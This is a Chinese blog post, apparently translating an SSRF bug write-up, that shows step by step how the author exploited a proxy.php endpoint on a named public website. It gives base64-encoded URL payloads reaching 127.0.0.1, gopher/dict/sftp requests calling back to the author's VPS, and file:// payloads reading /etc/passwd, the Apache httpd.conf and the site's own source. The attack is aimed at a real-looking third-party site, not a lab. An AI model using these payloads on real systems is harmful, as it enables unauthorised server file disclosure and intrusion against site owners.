第十四篇：SSRF读取本地文件

原文：Server Side Request Forgery(SSRF) Testing

漏洞：SSRF漏洞

作者：NoGe

难度：低

我发现一个存在SSRF的随机web网站，为了利用它我应该将输入数据编码为base64格式，下面是正常的URL，这会将我们定位到我们提供的url地址上面去

1
http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovL3d3dy50b3A4MHNnYW1lcy5jb20vc2l0ZS9jb250ZW50L3BhY21hbg==

所以让我们尝试编码http://127.0.0.1:80，并将它传给url参数aHR0cDovLzEyNy4wLjAuMTo4MA==

1
http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovLzEyNy4wLjAuMTo4MA==

尝试一下443端口

出现Bad Request响应是因为我们使用HTTP但是使用了443端口。现在我们继续尝试gopher、dict和sftp。我将在我的VPS中监听1337端口

1
2
3
gopher://my_vps_ip:1337/_pacenoge
dict://my_vps_ip:1337
 sftp://my_vps_ip:1337

可以看到上述请求都成功了。但还有什么我们没有尝试呢？对了，是file:///etc/passwd

1
file:///etc/passwd

接着我想看看httpd.conf

1
file:///etc/httpd/conf/httpd.conf

通过阅读httpd.conf文件我知道了web服务的根目录/home/playfreedownloadgames/public_html 所以我可以读取proxy.php的文件内容

1
file:////home/playfreedownloadgames/public_html/proxy.php

本文标题:第十四篇：SSRF读取本地文件

文章作者:TimeS0ng

发布时间:2019-02-14, 11:05:16

最后更新:2019-02-14, 11:30:11

原始链接:http://TimeS0ng.github.io/2019/02/14/第十四篇：SSRF读取本地文件/

许可协议: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

文章目录
  1. 1. 原文：Server Side Request Forgery(SSRF) Testing
  2. 2. 漏洞：SSRF漏洞
  3. 3. 作者：NoGe
  4. 4. 难度：低
  5. 5. 我发现一个存在SSRF的随机web网站，为了利用它我应该将输入数据编码为base64格式，下面是正常的URL，这会将我们定位到我们提供的url地址上面去
  6. 6. 所以让我们尝试编码http://127.0.0.1:80，并将它传给url参数aHR0cDovLzEyNy4wLjAuMTo4MA==
  7. 7. 尝试一下443端口
  8. 8. 出现Bad Request响应是因为我们使用HTTP但是使用了443端口。现在我们继续尝试gopher、dict和sftp。我将在我的VPS中监听1337端口
  9. 9. 可以看到上述请求都成功了。但还有什么我们没有尝试呢？对了，是file:///etc/passwd
  10. 10. 接着我想看看httpd.conf
  11. 11. 通过阅读httpd.conf文件我知道了web服务的根目录/home/playfreedownloadgames/public_html 所以我可以读取proxy.php的文件内容
|